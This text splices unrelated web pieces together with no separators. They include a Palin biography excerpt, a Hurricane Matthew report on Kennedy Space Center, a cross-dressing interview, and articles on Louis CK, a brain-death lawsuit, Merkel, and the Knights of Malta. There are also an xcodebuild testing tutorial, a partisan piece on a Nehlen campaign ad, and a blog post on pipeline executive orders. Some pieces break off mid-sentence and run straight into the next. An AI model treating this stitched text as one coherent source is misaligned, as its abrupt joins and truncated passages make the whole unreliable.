Referring to Iran's threat to Israel, Palin said Obama would be reelected if "he played the war card. Say he decided to declare war on Iran or decided really come out and do whatever he could to support Israel, which I would like him to do." On foreign policy, Palin supported the Bush Administration's policies in Iraq, but was concerned that "dependence on foreign energy" may be obstructing efforts to "have an exit plan in place". [331] [332] Palin supports preemptive military action in the face of an imminent threat, and supports U.S. military operations in Pakistan. Palin supports NATO membership for Ukraine and Georgia, [333] and affirms that if Russia invaded a NATO member, the United States should meet its treaty obligations. [334]
Palin supports preemptive military action in the face of an imminent threat, and supports U.S. military operations in Pakistan. Palin supports NATO membership for Ukraine and Georgia, and affirms that if Russia invaded a NATO member, the United States should meet its treaty obligations. On foreign policy, Palin supported the surge strategy in Iraq, the use of additional ground forces in Afghanistan, and, in general, maintaining a strong defensive posture by increasing the defense budget. [ citation needed ]
Palin opposed the Joint Comprehensive Plan of Action which placed limits on Iran's nuclear program, on the grounds that the treaty was not strict enough. In a September 9, 2015 speech, she said, "Only in an Orwellian Obama world full of sparkly fairy dust blown from atop his unicorn as he's peeking through a pretty pink kaleidoscope would he ever see victory or safety for America or Israel in this treaty."[335]
Public image
Prior to the 2008 Republican National Convention, a Gallup poll found that most voters were unfamiliar with Sarah Palin. During her campaign to become vice president, 39% said Palin was ready to serve as president if needed, 33% said Palin was not, and 29% had no opinion. This was "the lowest vote of confidence in a running mate since the elder George Bush chose then-Indiana senator Dan Quayle to join his ticket in 1988."[336] Following the convention, her image came under close media scrutiny,[185][337] particularly with regard to her religious perspective on public life, her socially conservative views, and her perceived lack of experience. Palin's experience in foreign and domestic politics came under criticism among conservatives as well as liberals following her nomination.[338][339][340][341] At the same time, Palin became more popular than John McCain among Republicans.[342]
One month after McCain announced Palin as his running mate, she was viewed both more favorably and unfavorably among voters than her opponent, Delaware Senator Joe Biden.[343] A plurality of the television audience rated Biden's performance higher at the 2008 vice-presidential debate.[343][344]
Media outlets repeated Palin's statement that she "stood up to Big Oil" when she resigned after 11 months as the head of the Alaska Oil and Gas Conservation Commission, due to abuses she witnessed involving other Republican commissioners and their ties to energy companies and energy lobbyists, and again when she raised taxes on oil companies as governor.[345][346] In turn, others have said that Palin is a "friend of Big Oil" due to her advocacy for oil exploration and development including for drilling in the Arctic National Wildlife Refuge and for the de-listing of the polar bear as an endangered species.[345][346]
Palin was named one of America's "10 Most Fascinating People of 2008" by Barbara Walters for an ABC special on December 4, 2008.[347] In April 2010, she was selected as one of the world's 100 most influential people by TIME Magazine.[348]
Personal life
The Palin's home in Wasilla
Sarah and Todd Palin married on August 29, 1988, and they have five children: sons Track Cj (born 1989)[349][350] and Trig Paxson Van (born 2008), and daughters Bristol Sheeran Marie[351] (born 1990), Willow Bianca Faye (born 1994), and Piper Indy Grace (born 2001).[352][353] Palin's youngest child, Trig, born 2008, was prenatally diagnosed with Down syndrome.[354]
Palin has five grandchildren, three by Bristol [355][356] and two by Track.[357]
Her husband Todd worked for oil company BP as an oil-field production operator, retiring in 2009, and owns a commercial fishing business.[42][358]
Palin was "baptized Catholic as a newborn" as her mother, Sally, had been raised Catholic. However, the Heath family "started going to non-denominational churches" thereafter.[359] Later, her family joined the Wasilla Assembly of God, a Pentecostal church,[360] which she attended until 2002.[361] Palin then switched to the Wasilla Bible Church.[362] Several news reports posted immediately after McCain named her his running mate called her the first Pentecostal/charismatic believer to appear on a major-party ticket.[363] Palin does not use the term "Pentecostal" but says she is a "Bible-believing Christian".[359]
Palin's home in Wasilla, as well as the home of her parents, were both heavily damaged during the 7.0 magnitude earthquake on November 30, 2018. No members of the Palin family were injured.[364]
Publications
See alsoAll signs are pointing toward deadly hurricane Matthew slamming directly into Space Coast—home to Kennedy Space Center and Cape Canaveral Air Force Station—on Friday. If that unfortunate prediction comes true, it’ll be the worst storm to hit the iconic Florida spaceport since it was built in 1962.
Weaker and more distant storms have dealt Kennedy considerable damage in the past. A direct hit by a Category 3 or 4 monster is a nightmare scenario for NASA’s crown-jewel, $11 billion spaceport.
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The space agency has always known that such a storm was possible at Kennedy, whose two launchpads rise like giant concrete lilies from a swampy barrier island with nothing but a thin, rapidly eroding stretch of beach to protect them from the sea. The center was built this way for a very good reason, to avoid rocket explosions over populated areas. But in the age of human-caused climate change, Kennedy’s exposure to the ocean has become its Achilles heel.
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In the Atlantic, the frequency powerful hurricanes and large surge events has been rising in step with rising temperatures, which provide more energy to grow and sustain monster storms. And Space Coast has been feeling the consequences. As sources at Kennedy told me during a recent visit, coastal damage from hurricanes has been a major problem since at least the early 2000s.
When Category 2 Hurricane Frances made landfall roughly 100 miles south of Kennedy in 2004, tropical storm-force winds lashed Space Coast, ripping more than a thousand panels off the Vehicle Assembly Building and resulting in 100 million worth of damage. When enormous Hurricane Sandy passed 200 miles offshore in 2012, an 100-foot chunk of beach between launchpads 39A and 39B was devoured by the ocean, resulting in millions of dollars of shoreline reparations.
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Here’s the thing about Matthew: Space Coast has never dealt with anything like it. Not in launch history; not in meteorological records dating back to 1851. The storm is projected to pass perilously close to Florida’s entire eastern seaboard beginning later today, with a Category 3 or 4 eye passing directly over Kennedy Space Center on Friday, according to Weather Underground meteorologist Jeff Masters.
“We’re talking about a storm that’s basically hitting dead-on,” Masters told Gizmodo. “I’d expect at least 90 mile per hour winds.”
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Kennedy’s Orbiter Processing Facilities are rated to withstand sustained winds of 105 mph. The Vehicle Assembly Building and launchpads hold together up until about 115 mph, while newer buildings constructed after Hurricane Andrew in 1992 are designed to weather 130 mph winds.
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Exactly how badly Kennedy will get walloped depends on a few factors. Firstly, will the storm stay its projected, coast-hugging course? If it passes Kennedy even a few miles further out to sea, the damage might be considerably less. Secondly, will Matthew’s arrival coincide with high tide? As the National Hurricane Center notes, “surge-related flooding depends on the relative timing of the surge and the tidal cycle, and can vary greatly over short distances.”
If the storm does hit at high tide, the NHC warns of surges as high as 9 feet from central Florida all the way up into southern Georgia. Most of Kennedy’s infrastructure sits between five and ten feet above sea level.
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Yesterday, Cape Canaveral Air Force Station entered “HURCON II” condition, releasing all non mission-essential personnel and suspending operations. A mandatory evacuation for all “personnel and residents |
very “old-school”, traditional Asian woman that has never been exposed to the LGBT community, except some gay men at work, with whom she is fine around. I know she probably wouldn’t understand, as she instantly thought I was gay. Well considering I’m married to a woman, I guess that was not the case on why I dress as a woman.
Even though she doesn’t fully understand or might not want to even understand, it wasn’t something I was going to sit and make her understand, so I asked her to just love me for who I am. I’m still her son. I have the same memories, I treat her the same way, I love her just the same and I’m basically the same person, but just look different on the outside. I think she got that and that was five years ago and she accepts it in this context. She really hasn’t sat down to ask questions about it, but I feel this is something that will take a few years at her pace to want to understand.
This is how we need to come out to society. When I think with how fast the Transgender movement is going in society, I sometimes feel we are shoving it out in front of people too fast for them to have a chance to understand and “love” us for who we are. If everyone takes it slow and takes the time to understand, the “love” for one another will eventually come on its own.
Thanks, Brian/Alyssa for your contribution, to not only this interview, but to the cross-dressing movement, at large. I agree with Brian/Alyssa on the transgender movement needing to slow down in the media and let people get to know these communities as people, not a caricature or celebrity or a reality star defining who they are. In the end, they are us, attempting to navigate through our lives.
Thanks for reading this article, I may sometimes be looked at as an outsider by my cis-gender friends, but I remain committed to helping our society in understanding and allowing these communities to just live their lives as they were meant to be. I am up for the challenge.In the Louisana city to make a film, the comedian is using his spare time trying out new material in tiny comedy clubs
“I like doing shows for 18 people,” says Louis CK, not playing a lucrative private gig for oligarchs, as you might expect a comic of his stature, but onstage at a tiny comedy club in New Orleans.
One of the planet’s highest profile comedians, CK has been showing up unannounced at small bars in the city and performing extended sets for free.
While faithful local comedy fans bask in the vindication, others run frantic, text-message-triggered gauntlets across town to try and catch him. Most, though, miss out on the latest in a series of CK’s unscheduled appearances, resulting in much gnashing of teeth on social media.
The comic is in town filming the upcoming biopic Trumbo, also starring New Orleans’ own John Goodman and Breaking Bad’s Bryan Cranston. Since Louisiana is second only to Los Angeles for US film production, the town is used to the presence of celebrities.
However, it’s a music city rather than one with a thriving comedy scene. In the absence of New York-style comedy clubs, standup happens mostly in bars, fostered by a dedicated few comedy promoters and fans, making CK’s appearances all the more unexpected.
It speaks to CK’s reputation for generosity. He could easily sell out any of the city’s theatres, but remains committed to making his comedy accessible, selling tour tickets and downloads of his specials direct to fans for around 40% less than it would cost going through third parties.
Andrew Polk is a New Orleans-based comedian and producer of shows including Comedy Beast, a free Tuesday night gig at the 40-seater Howlin’ Wolf Den. Last month it boasted CK’s first appearance.
“It was a surprise,” said Polk. “I heard a rumour that a famous person would be coming, which isn’t out of the ordinary, but it isn’t normally someone famous outside the stand-up world.”
Cate Root, events reporter for the city’s Times-Picayune newspaper, was in the audience. “We’ve gotten great drop-ins across town before,” she said. “Bill Burr, Craig Robinson and Zach Galifianakis are among them, but there’s something special about Louis CK.”
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“It was the best surprise in New Orleans comedy as far as my experiences go,” added Polk. “He was very gracious, respectful, and polite to everyone, and I know it meant a lot to all the comics on the bill.”
That night, Cranston and Goodman were also in tow. “They were all cracking up, knee-slapping, catching their breath and hysterical at people I get to see every week,” said Root. “CK went up to a packed room and did a 30-minute set of mostly new material including a good chunk of literal potty humour.”
Sharing the stage was an obvious rush for the local stand-ups. “It made all the time spent working toward an intangible goal seem more real,” said comic Benjamin Hoffman. “That kind of thing makes the rough times seem worthwhile.”
A week later, CK popped up at Siberia, a punk music venue with a Monday night open mic. Polk was, coincidentally, hosting. “I got off stage, and a comic said ‘Hey, Louis is here’. The possibility was so far removed from my brain that I just responded “Who the hell is Louis?””
CK performed for an hour as the room filled up. “It was just an amazing chance to see someone of his calibre in an intimate environment,” said one fan.
By the next Sunday night, the city was on high alert. CK’s third appearance took place at the Hi-Ho Lounge. There was more new material: the reallocation of his bodily function noises and explaining death to children.
Local actor and director Joseph Meissner was in the audience. “You could tell he’s kind of over the worshipful treatment,” said Meissner. “He strongly implied he likes trying out material on smaller crowds and gets a more honest response that way.”
This is a path famously trodden by Jerry Seinfeld, who started his standup career afresh in smaller clubs after the universal success of his TV show.
Some comedy nights have seen bigger audiences, gambling on a coveted CK appearance. Local performers and producers like Polk hope that people will keep coming out for the local talent even in the absence of big stars.
“All I can hope for with the people getting last-second texts and flying to a venue to see a ‘secret’ show is that they’ll stick around and see some good locals. Surprise celebrity or not, we haven’t had anyone leave the shows complaining.”
Certainly no-one in town is complaining about Louis CK – especially the New Orleans’ comedians, who can now say they shared a stage with one of the greats.The family of a Toronto man who was declared brain dead after suffering an asthma attack is fighting to keep him on life support, saying he is not dead under the rules set out by his religion.
Shalom Ouanounou's family is asking the court for an injunction to keep him on a ventilator and feeding tube while it pushes to have his death certificate revoked.
A notice of application filed by Ouanounou's father and substitute decision-maker shows he seeks to challenge the Canadian guidelines on brain death on grounds that they do not accommodate religious beliefs.
The document says those guidelines define death as the irreversible cessation of brain function and of the capacity to breathe.
It says that Orthodox Judaism, the faith Ouanounou practises, considers death to be complete cardiac and respiratory failure.
The application argues that disregarding those beliefs would represent a serious assault on Ouanounou's human dignity and religious liberty.
It says the matter raises a "serious constitutional issue."
"Shalom would suffer the ultimate irreparable harm in the event that this application is not granted," the document says.
"He would be declared dead in a manner contrary to his religious values and would be deprived of accommodation of his most fundamental constitutional and human rights when he is most dependent on them."
Ouanounou, 25, had an asthma attack at home on Sept. 27 and was taken by ambulance to Humber River Hospital, where he was intubated and placed on a respirator, the document says.
Three days later, doctors determined that he met the criteria for death by neurological criteria, better known as brain death, it says. A death certificate was issued shortly afterward.Germany's Chancellor Angela Merkel, seen here in March 2012, has told her party the country risked becoming a "laughing stock" over a court ruling calling religious circumcision a criminal act, according to a report Monday. (AFP Photo/Andreas Gebert)
Germany’s Chancellor Angela Merkel told her party the country risked becoming a “laughing stock” over a court ruling calling religious circumcision a criminal act, according to a report Monday.
The mass-circulation daily Bild said in an article to be published Tuesday that Merkel warned the board of her conservative Christian Democratic Union (CDU) that Germany must restore legal protection for circumcision.
“I do not want Germany to be the only country in the world in which Jews cannot practise their rites,” Bild quoted Merkel as saying, citing several CDU members who attended the meeting.
“Otherwise we would make ourselves a laughing stock among nations.”
Merkel’s centre-right government has pledged to take quick action to protect the right of Jews and Muslims to circumcise baby boys on religious grounds, and voiced concern about the ruling by the court in Cologne published in June.
The court said the removal of the foreskin for religious reasons amounted to grievous bodily harm and was therefore illegal, in a judgement that prompted an outcry at home and abroad.
Diplomats admit that the ruling has proved “disastrous” to Germany’s international image, particularly in light of its Nazi past, following uproar from religious and political leaders in Israel as well as Muslim countries.In this post we'll see how to run Xcode tests from the terminal, and why you might want to do it.
If you've installed the Command Line Tools you'll see that from your terminal you can call xcodebuild.
Reading through the output of man xcodebuild, available online here, we find that:
xcodebuild builds one or more targets contained in an Xcode project, or builds a scheme contained in an Xcode workspace or Xcode project.
So the first impression, as the name suggests by the way, is that xcodebuild's purpose is to build Xcode projects. Not really what we're looking for since we want to run tests. But if we keep reading XCODEBUILD(1) we'll find a section listing the possible build actions, and test is one of them.
Test a scheme from the build root (SYMROOT). This requires specifying a scheme and optionally a destination.
After a bit more reading through xcodebuild man page and Apple's Command-Line Testing resource we can write the minimum viable command to run our tests:
xcodebuild \ - workspace MyAwesomeApp.xcworkspace \ - scheme MyAwesomeApp \ - sdk iphonesimulator \ - destination 'platform=iOS Simulator,name=iPhone 6,OS=8.1' \ test
Note that we're assuming that MyAwesomeApp uses CocoaPods, therefore we're using the -workspace option, which then requires to use -scheme.
You can use instruments -s devices to see a list of know devices to use in the -destination option, more here.
If you try to do this you'll see something like this:
Not a very pleasant output is it?
This is where xcpretty comes to the rescue. xcpretty is a tool designed to format xcodebuild's output, and make it human readable.
Using xcpretty is very simple:
xcodebuild \ - workspace MyAwesomeApp.xcworkspace \ - scheme MyAwesomeApp \ - sdk iphonesimulator \ - destination 'platform=iOS Simulator,name=iPhone 6,OS=8.1' \ test | xcpretty
If you're an RSpec fan like me, that you'll want the green dots in your tests output:
xcodebuild \ - workspace MyAwesomeApp.xcworkspace \ - scheme MyAwesomeApp \ - sdk iphonesimulator \ - destination 'platform=iOS Simulator,name=iPhone 6,OS=8.1' \ test | xcpretty --test --color
You might now ask "This is all interesting and colorful, but why should I use it?". Here's some reasons why I like running tests from the terminal, and why you might like it too:
That's what the CI is doing
When running tests from CI you'll need to run tests from the terminal. It is very wise to test the behaviour of the CI scripts on your local machine. If something breaks in the pipeline you'll notice before pushing to master and breaking the build.
Better output
The visual feedback that the dots in the terminal give me is much more powerful that the view in Xcode.
Do you really trust Xcode?
Here's one of the reasons I run tests from the terminal! pic.twitter.com/38V7sUmLEY — Giovanni Lodi (@mokagio) February 12, 2015
I'm a big fan of the terminal and of doing things through CLIs, so for me having to move to it to run the test instead of hitting ⌘U is not a big deal. Regardless of your workflow preferences though, there are cases when automation is needed, and that's when knowing how to run tests form the terminal will come handy.
Note: another tool you might want to try is xctool. I prefer the xcodebuild | xcpretty combo because it adds less overhead. If you're interested have a look at this NSHipster post.
Happy coding, and keep the codebase better than you found it.Image copyright Reuters Image caption The Knights of Malta, an ancient Catholic order, are facing a Vatican investigation. (Pictured: Former Pope Benedict XVI is greeted by the seniormost Knight, Matthew Festing)
A row has broken out between the Vatican and the Knights of Malta, an ancient Catholic order, after a top official was sacked over a contraception scandal.
It followed revelations that the Knights' charity branch had distributed thousands of condoms in Myanmar.
The order's grand chancellor, Albrecht von Boeselager, was suspended over the matter on 8 December.
The Catholic Church forbids the use of artificial contraception.
Mr Boeselager has said he did not know about the condom distribution programme, which was an anti-HIV and family planning initiative, and stopped it when he learned of its existence.
Now the 900-year-old order is refusing to co-operate with a Vatican investigation into his sacking, and warning members that if they speak with Pope Francis's team, they must not contradict the decision by the order to replace Mr Boeselager.
In a statement on Tuesday, the Knights called the Pope's review a legally "irrelevant" move aimed at limiting the order's sovereignty.
Pope Francis appointed a five-member commission to investigate the sacking in December, amid evidence that his own envoy to the group, conservative Cardinal Raymond Burke, helped engineer it without his blessing.
Image copyright Reuters Image caption The Knights wear long black woollen cloaks, with a distinctive eight-pointed white cross embroidered on the front
In some ways, the condom dispute reflects the broader ideological divisions in the Roman Catholic Church that have intensified during Francis's papacy.
The pontiff is prone to emphasising the church's merciful side over its more doctrinaire traditions, and this stance has sometimes grieved more hardline Catholics.
The row also highlights internal divisions within the order, which dates back to the Crusades - and whether its members are fulfilling their vows of obedience.
What is the Order of Malta?
The Sovereign Order of Malta traces its history to the 11th Century, with the establishment of an infirmary in Jerusalem that cared for pilgrims of all faiths.
The lay religious order of the Catholic Church now has 13,500 members and 100,000 staff and volunteers, who provide healthcare in hospitals and clinics around the world.
The Order of Malta enjoys many of the privileges of a nation state. It issues its own stamps, passports and licence plates - and holds diplomatic relations with 106 states, the Holy See included.
The BBC's David Willey gave his impressions of the Knights' headquarters during the order's 900th anniversary:
"Today the Knights are a unique sovereign entity in that they rule over no territory except a palace in one of Rome's smartest shopping districts, a church and an elegant villa overlooking the city.
"The order's international headquarters is in a palace situated in Rome's Via Condotti, a short distance from the Spanish Steps. High fashion boutiques nearby offer neat handbags for sale at prices ranging up to $3,000.
"The atmosphere inside reminded me of an Oxbridge College or a London Club. Inside the porter's lodge there are cubby holes for letters addressed to His Highness, the Grand Master - who is British - and to senior officials."
Though the order sounds like a masculine institution, the Knights are not exclusively male. As of 2013, women made up about 30% of its members - known as the Dames.
The group is reportedly keen to shed its aristocratic image, and to attract new talent to continue its humanitarian work.This is an overview of a 500,000 Watt radio transmitter site. It’s one of the slides shared in a guided video tour of the transmitter’s hardware. The radio station — whose call sign was WLW — called itself the Nation’s Station because of its ability to reach so much of the country.
It operated at the 500 kW level starting back in the 1930’s. The technology at the time meant that there were a lot of challenges involved with transmitting at this level of power. It took 750 kW input to achieve the 500 kW output. To reach that the station had a set of AC motors in the basement generating the 4500 Amps at 33 Volts DC needed to power the transmitter to heat each filament. Obviously there was a lot of heat generated at the same time. The system was water-cooled. An elaborate network of Pyrex pipes carried distilled water to and from the tubes to handle the heat dissipation.
The video tour lasts about thirty minutes. It’s just packed with interesting tidbits from the experts leading the tour so add it to your watch list for some geeky entertainment over the weekend.
[Thanks Jesse]Wisconsin businessman Paul Nehlen is airing a new, 60-second ad featuring the endorsement of a laid off Janesville GM factory worker.
In the ad, a former GM worker named Marv stands outside the shuttered Janesville plant.
Marv tells viewers that he loved his job and had intended to work there until the day he died. However, those plans were shattered when the Janesville plant shut down the majority of its production two days before Christmas in 2008— impacting roughly 1,200 Wisconsin workers who had been employed at the facility.
Marv says that he has “no love for Paul Ryan” and “wouldn’t vote for him for dog catcher.” Instead, Marv says that he backs Ryan’s challenger, Paul Nehlen, “100 percent.”
Below is a transcript of the ad:
Marv: “This is my plant. This is the General Motors plant in which I spent 50 years working here. Janesville had—at one time—had the best workforce in General Motors. I had a good job. I was happy with my job. I really liked my job.” Interviewer: “What happened?” Marv: “They shut the plant down. I wanted to work ‘til I died. The poor and the people who need the jobs are the ones that are getting left out. I have no love for Paul Ryan whatsoever. I’m a Democrat, okay? I’ll tell ya, I wouldn’t vote for him for dog catcher.” Interviewer: “Would you vote for Paul Nehlen if he could bring the jobs back?” Marv: “Oh, you bet I would. With Paul Nehlen—he’ll bring the jobs back—I’m all supportive of that. I back him up 100 percent. If I could vote twice, I’d vote twice! [laughs]”
At the time of its closing, the Janesville facility was the oldest GM plant in the nation. Opened in 1919, the Janesville plant once employed more than 7,000 Wisconsin workers.
After announcing the lay offs of its employees in 2008, the plant remained idle for six years before announcing its official closure in 2015.
In 2012, Business Insider described the large, abandoned factory as a “symbol of this city’s descent into economic calamity.”
Since Paul Ryan took office in 1999, Wisconsin has lost one-fifth of its total manufacturing jobs.
“Between 1998 and 2007, auto manufacturers and suppliers cut more than 7,400 jobs in the state,” according to the Milwaukee Journal Sentinel.
Then in 2008, Janesville saw 5,000 jobs at GM and other auto-related companies disappear from the community, the Journal Sentinel reports.
Last November, Oscar Meyer announced that it was shutting down its headquarters in Madison, “wiping out hundreds of jobs at a company that has been a part of the community’s fabric since 1919,” the Associated Press wrote.
Yet Paul Ryan has been one of Congress’ leading champions for globalist trade policies that impact American jobs and American workers.
Last year, Ryan served as President Obama’s “partner” in his effort to fast track the Trans-Pacific Partnership— even though Wisconsin suffered a net loss of nearly 40,000 jobs in 2015 alone due to the U.S. trade deficit with TPP countries, according to the Economic Policy Institute.
In 1999, the year Paul Ryan took office, the U.S. trade deficit in goods with China was $68.7 billion. By 2015, our trade deficit in goods with China had ballooned to $367.2 billion.
Soon after arriving in Washington, Ryan voted to give China permanent normal trade relations status with the U.S.
In 2010, Ryan voted against a proposal to crack down on Chinese currency cheating, even though Ryan has admitted, whilst on the campaign trail, that China manipulates its currency.
In 2015, Ryan pushed to fast track the Trans-Pacific Partnership even as President Obama was indicating that China could eventually join the TPP.
Marv is perhaps not the only Janesville worker who shares “no love for Paul Ryan”. In the 2012 election, Paul Ryan and Mitt Romney lost Ryan’s hometown of Janesville by 25 points.
As the elected representative of Wisconsin’s first Congressional District, Ryan has presided over the shuttering of factories that had previously been fixtures of the community for decades. Ryan watched as many of these companies shipped his constituents’ jobs overseas—a fact that Nehlen’s campaign has highlighted.
Last year, Wisconsin’s WKOW reported that Eaton Corp— for the third time in just over two years— was laying off Wisconsin workers and shipping their jobs to Mexico. In 2015, the company announced that it was shutting down its manufacturing of molded rubber products, laying off 83 employees and sending their jobs to Queretaro, Mexico. A few months earlier, the company announced that it was moving the manufacturing of its printed circuit boards from Watertown, Wisconsin to Tijuana, Mexico— resulting in the elimination of 93 Wisconsin jobs. In 2013, Eaton Corp. laid off 163 Wisconsin workers and shipped their jobs off to Mexico as well.
A company spokesman said that the latest move would “allow the business to continue to compete globally.”
In 2009, the Chrysler plant in Kenosha closed its doors as well— reportedly sending the jobs of 850 Wisconsin workers to Mexico. The move represented the “end of more than a century of auto production in Kenosha, where Ramblers first came off the line in 1902,” the Milwaukee Journal Sentinel wrote.
Shortly after Ryan first arrived in Congress, the Gillette Company “announced that it was closing its Parker Pen factory and moving about 300 jobs overseas,” the New York Times reported.
In 2010, 153 Janesville workers saw their jobs shipped to Mexicali, Mexico as Janesville lost its last remaining operations tied to the Parker Pens.
As the New York Times reports, “Parker Pen had long been the pride of Janesville.” Gen. Dwight D. Eisenhower reportedly used a Parker pen to sign the German surrender papers in Europe. Gen. Douglas MacArthur used a Parker fountain pen to sign the Japanese surrender agreement. Janesville’s Parker pens were used “to sign the treaty that ended the Spanish-Amerian War, as well as the treaty that ended the nuclear arms race,” the Journal Sentinel writes.
Parker Pens began in Janesville in 1888. In 1919, George Parker built in “what would become the largest pen factory in the world at 219 Court St. in downtown Janesville. The company remained one of the city’s largest employers for the next 70 years,” notes the Janesville GazetteXtra. At one point, the company employed more than 1,000 Janesville workers.
Parker Pens, GazetteXtra writes, “put Janesville, Wisconsin, on the map”:
“The names “Parker” and “Janesville” became famously synonymous… That’s because two names were imprinted on the side of the pens, and ‘Janesville’ was as big as ‘Parker.’”
Parker’s great-grandson explained that he had put both names on his pens as a way to acknowledge all of the Janesville workers who helped manufacture the pen: “There was no practical way to put everyone’s name on the pen… [so] he figured the best way to get everyone else’s name who contributed to that pen was to put ‘Janesville’ on there.”
When it was announced that the last remaining facility tied to Parker Pens was moving from Janesville to Mexico, the parent company said that the closure was not a reflection of the “highly valued” performance of is Janesville employees, but rather that the move to Mexico was in response to “market trends.”
As GazetteXtra notes, reminders the company’s former influence are visible all over town. For instance, on Saturday, Nehlen volunteers gathered at Parker Park to begin knocking doors in Janesville. Nehlen then held a press conference in front of the border fence of Ryan’s Georgian style brick mansion—a home, which ironically, was built by the Parker family.
Standing in front of Ryan’s fenced-off estate, Nehlen declared that Ryan was the most “anti-worker member of Congress in either party.”
Ryan “sold out his district to his corporate masters,” Nehlen said. “Can you name one time when Paul Ryan fought as hard for you and your family as he’s fought for corporate America?”Government employees are supposed to do their jobs based on the law and the facts. They aren’t supposed to bend to the whims of politics, although they are often required to follow the directions of the executive.
Executive Order on KXL.
Sec. 2. Invitation to Submit an Application. I hereby invite TransCanada Keystone Pipeline, L.P. (TransCanada), to promptly re-submit its application to the Department of State for a Presidential permit for the construction and operation of the Keystone XL Pipeline, a major pipeline for the importation of petroleum from Canada to the United States. Sec. 3. Directives. (a) Department of State. The Secretary of State shall, if the application referred to in section 2 is submitted, receive the application and take all actions necessary and appropriate to facilitate its expeditious review. With respect to that review, I hereby direct as follows: (i) The Secretary of State shall reach a final permitting determination, including a final decision as to any conditions on issuance of the permit that are necessary or appropriate to serve the national interest, within 60 days of TransCanada's submission of the permit application.
This is Secretary Kerry’s statement on his KXL determination.
Executive Order 13337 delegates to the Secretary of State the President’s authority to issue or deny Presidential Permits like the one sought for the proposed Keystone XL pipeline. In reaching my decision, I evaluated information provided by TransCanada, the Supplemental Environmental Impact Statement, the views of other federal agencies, and nearly five million public comments. I based this decision on key findings by the State Department, notably: The proposed project has a negligible impact on our energy security.
The proposed project would not lead to lower gas prices for American consumers.
The proposed project’s long-term contribution to our economy would be marginal.
The proposed project raises a range of concerns about the impact on local communities, water supplies, and cultural heritage sites.
The proposed project would facilitate transportation into our country of a particularly dirty source of fuel. The critical factor in my determination was this: moving forward with this project would significantly undermine our ability to continue leading the world in combatting climate change.
All the above will still be true following Trump’s executive order, there will only be a few thousand jobs — mostly in food services to construction workers — for 2 years. There would only be about a couple dozen permanent jobs once the construction is done. The oil this pipeline would provide would add to the global market and wouldn’t lower U.S. oil prices — which are already pretty low — and if tar sands oil spills it can’t be cleaned up. The Tar Sands spill in the Kalamazoo River five years ago still hasn’t been cleaned.
Five years ago today, in the middle of the night, an oil pipeline operated by Enbridge ruptured outside of Marshall, Michigan. It took more than 17 hours before the Canadian company finally cut off the flow, but by then, more than a million gallons of tar sands crude had oozed into Talmadge Creek. The oil quickly flowed into the Kalamazoo River, forcing dozens of families to evacuate their homes. Oil spills of that magnitude are always disastrous, but the Kalamazoo event was historically damaging. The first challenge was the composition of the oil. Fresh tar sands crude looks more like dirt than conventional crude—it’s far too thick to travel through a pipeline. To get this crumbly mess to flow, producers thin it out with the liquid constituents of natural gas. Diluted bitumen, or dilbit, as it’s called in the tar sands industry, is approximately three parts tar sands crude, one part natural gas liquids. When dilbit gushed into Talmadge Creek in 2010, the mixture broke apart. The volatile natural gas liquids vaporized and wafted into the surrounding neighborhoods. The airborne chemicals were so difficult to find and eliminate that Enbridge decided it would be better to simply buy some of the homes that were evacuated, preventing the residents from ever returning.
So that’s bad, really really bad. Certainly incoming Secretary of State Rex Tillerson is likely to ignore all these facts, but he also needs to get his rank and file staff — who are remaining in their positions — to generate documents that are the exact opposite of what they just produced a little over a year ago. That’s rather awkward.
Executive Order on DAPL
Sec. 2. Directives. (a) Pipeline Approval Review. The Secretary of the Army shall instruct the Assistant Secretary of the Army for Civil Works and the U.S. Army Corps of Engineers (USACE), including the Commanding General and Chief of Engineers, to take all actions necessary and appropriate to:,,, (ii) consider, to the extent permitted by law and as warranted, whether to rescind or modify the memorandum by the Assistant Secretary of the Army for Civil Works dated December 4, 2016 (Proposed Dakota Access Pipeline Crossing at Lake Oahe, North Dakota), and whether to withdraw the Notice of Intent to Prepare an Environmental Impact Statement in Connection with Dakota Access, LLC's Request for an Easement to Cross Lake Oahe, North Dakota, dated January 18, 2017, and published at 82 Fed. Reg. 5543; (iii) consider, to the extent permitted by law and as warranted, prior reviews and determinations, including the Environmental Assessment issued in July of 2016 for the DAPL, as satisfying all applicable requirements of the National Environmental Policy Act, as amended, 42 U.S.C. 4321 et seq., and any other provision of law that requires executive agency consultation or review (including the consultation or review required under section 7(a) of the Endangered Species Act of 1973, 16 U.S.C. 1536(a));
In point of fact the Army engineer actually approved the pipeline, it was a civilian assistant secretary that overruled them and didn’t just recommend that the project be cancelled, but rather said they needed more time to study having it moved to a different location.
A civilian leader in the Army made the decision to deny an easement to the controversial Dakota Access oil pipeline despite Army Corps of Engineers recommendations that it be granted, according to officials and a document. Because of the pipeline's size — 30 inches in diameter — its approval went to Assistant Secretary of the Army for Civil Works Jo-Ellen Darcy, an official said. "Ms. Darcy had the authority to make the decision on behalf of the Department of the Army, and she did so," Darcy spokesperson Moira Kelley told NBC News Tuesday evening.... Darcy said in the memo that more work needs to be done in looking for an alternate route, with greater participation from the tribe.
Now of course Trump can appoint a new assistance secretary, where as of now he hasn’t bothered to yet and still has about 4,000 appointments to make, it’s going to take him quite some time to get around to this one. This is not a done deal.
It’s going to take some time for either of these to happen, particular since the KXL EO says that SecState Tillerson is to make his determination within “60 days” of Trans Canada resubmitting their application when it took several years the first time and, again, he’s doesn’t have any Assistance Secretary positions even appointed yet at State.
And if these planned reversals under Trump are implemented purely for political purpose not because of the facts on the ground or because there’s any other legitimate reason for the Army Corp or State to decide differently than they previously did, wouldn’t that also violate the law?
The Hatch Act of 1939, officially An Act to Prevent Pernicious Political Activities, is a United States federal law whose main provision prohibits employees in the executive branch of the federal government, except the president, vice-president, and certain designated high-level officials of that branch,[1] from engaging in some forms of political activity.
Normally this would mean someone in the government campaigning for a particular party, candidate or political issue as part of their official government position. For example a former Bush ethics lawyer has filed complaints against FBI Director Comey under the Hatch Act.
The former chief ethics lawyer in the George W. Bush White House (but now Hillary Clintonsupporter) has filed an ethics complaint against FBI Director James Comey over the letter he sent to lawmakers on Friday. Richard Painter worked in the White House Counsel’s office between 2005 and 2007, serving as the chief ethics lawyer for then-President Bush 43. On Sunday, Painter penned an op-ed in The New York Times explaining his decision to file an ethics complaint against the FBI Director. “The F.B.I.’s job is to investigate, not to influence the outcome of an election,” Painter wrote in the op-ed. “And that is why, on Saturday, I filed a complaint against the F.B.I. with the Office of Special Counsel, which investigates Hatch Act violations, and with the Office of Government Ethics.”
So there’s that.
What’s even more worrying is Trump’s gag orders on Government Scientists including the EPA, HHS, Department of Transportation and National Park Service.
